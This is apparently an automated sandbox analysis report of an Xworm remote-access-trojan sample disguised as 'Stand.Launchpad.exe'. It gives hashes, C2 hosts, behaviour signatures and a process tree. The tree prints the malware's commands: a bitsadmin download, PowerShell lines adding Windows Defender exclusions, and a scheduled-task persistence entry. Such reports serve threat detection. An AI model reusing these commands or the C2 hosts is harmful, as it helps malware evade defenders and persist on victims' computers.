Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 12:50

General

  • Target

    Stand.Launchpad.exe

  • Size

    140KB

  • MD5

    bec01d16b6f3c443eb3912042c1fc7f9

  • SHA1

    436c7fabff54997f2e550754edea0ae791080c9b

  • SHA256

    2aa6b748a1ee67ba3f68a53228bbc14ed8ce1285e1dde54d310e2ca8797eb779

  • SHA512

    4101f563c479a22883a024cbd9ba9d5a46234a237471b14853a82263e96f0ac74eb101dd77a71aab98101c8cb1c9c15ed987a45b3540d300c6bb740b707b27e1

  • SSDEEP

    3072:J5XMHZjqrraIh3GGKt6cGuPN1OHXFhTVR7NetgV:H85jqrWIhGlN1sVhTwtg

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:40971

us3.localto.net:40971

Name1442-40971.portmap.host:40971

Attributes
  • Install_directory

    %Temp%

  • install_file

    Stand.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
    "C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\SysWOW64\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
        3⤵
        • Download via BitsAdmin
        PID:3548
      • C:\Users\Admin\AppData\Local\Temp\Stand.exe
        "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2080
    • C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
      "C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3160
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1276
  • C:\Users\Admin\AppData\Local\Temp\Stand.exe
    C:\Users\Admin\AppData\Local\Temp\Stand.exe
    1⤵
      PID:4612
    • C:\Users\Admin\AppData\Local\Temp\Stand.exe
      C:\Users\Admin\AppData\Local\Temp\Stand.exe
      1⤵
        PID:3712
      • C:\Users\Admin\AppData\Local\Temp\Stand.exe
        C:\Users\Admin\AppData\Local\Temp\Stand.exe
        1⤵
          PID:2736

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log

          Filesize

          654B

          MD5

          2ff39f6c7249774be85fd60a8f9a245e

          SHA1

          684ff36b31aedc1e587c8496c02722c6698c1c4e

          SHA256

          e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

          SHA512

          1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.exe.log

          Filesize

          1KB

          MD5

          baf55b95da4a601229647f25dad12878

          SHA1

          abc16954ebfd213733c4493fc1910164d825cac8

          SHA256

          ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

          SHA512

          24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          83685d101174171875b4a603a6c2a35c

          SHA1

          37be24f7c4525e17fa18dbd004186be3a9209017

          SHA256

          0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870

          SHA512

          005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          ba169f4dcbbf147fe78ef0061a95e83b

          SHA1

          92a571a6eef49fff666e0f62a3545bcd1cdcda67

          SHA256

          5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

          SHA512

          8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsycpbye.0of.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Downloader.hta

          Filesize

          893B

          MD5

          b0a6d4e05dc2225dd03902a3061a4041

          SHA1

          39c500eefbf78d7d51768edb6983c361213cb7b8

          SHA256

          05e5c927c6366bebab2fb341d233887f503fb692d8f6880f7d1327b64705c1ee

          SHA512

          96fb1e3046a0daddd6a17a38fcfa8ad6e00f8c4950cc7e46c8a79b24817b2f271229d15facaa510105d3c95234a9f095fdf8ff8bbb8099c47565bd955c316918

        • C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

          Filesize

          108KB

          MD5

          d51da3fa31165f2536dddad44974af34

          SHA1

          703a62d92fbfe23611297715ca50bb82b4ff55a1

          SHA256

          9cc68d4ab822bd8e5fd66f40b2c99bce04805505e593027aca67256ab63c6210

          SHA512

          3adfaf5e251d974a9d576c71e51e3b1c59ddee2feecf281801166cf9448a3e51e6066737c06bee20089721630f4016f16ae7297061112cb23f2fe786386e4197

        • memory/1336-19-0x00007FF8E8B00000-0x00007FF8E95C1000-memory.dmp

          Filesize

          10.8MB

        • memory/1336-17-0x00000000001A0000-0x00000000001C0000-memory.dmp

          Filesize

          128KB

        • memory/1336-83-0x00007FF8E8B00000-0x00007FF8E95C1000-memory.dmp

          Filesize

          10.8MB

        • memory/2004-20-0x0000022C60790000-0x0000022C607B2000-memory.dmp

          Filesize

          136KB

        • memory/2080-70-0x000002C2BF880000-0x000002C2BF896000-memory.dmp

          Filesize

          88KB

        • memory/4836-0-0x00007FF8E8B03000-0x00007FF8E8B05000-memory.dmp

          Filesize

          8KB

        • memory/4836-1-0x0000000000990000-0x00000000009B8000-memory.dmp

          Filesize

          160KB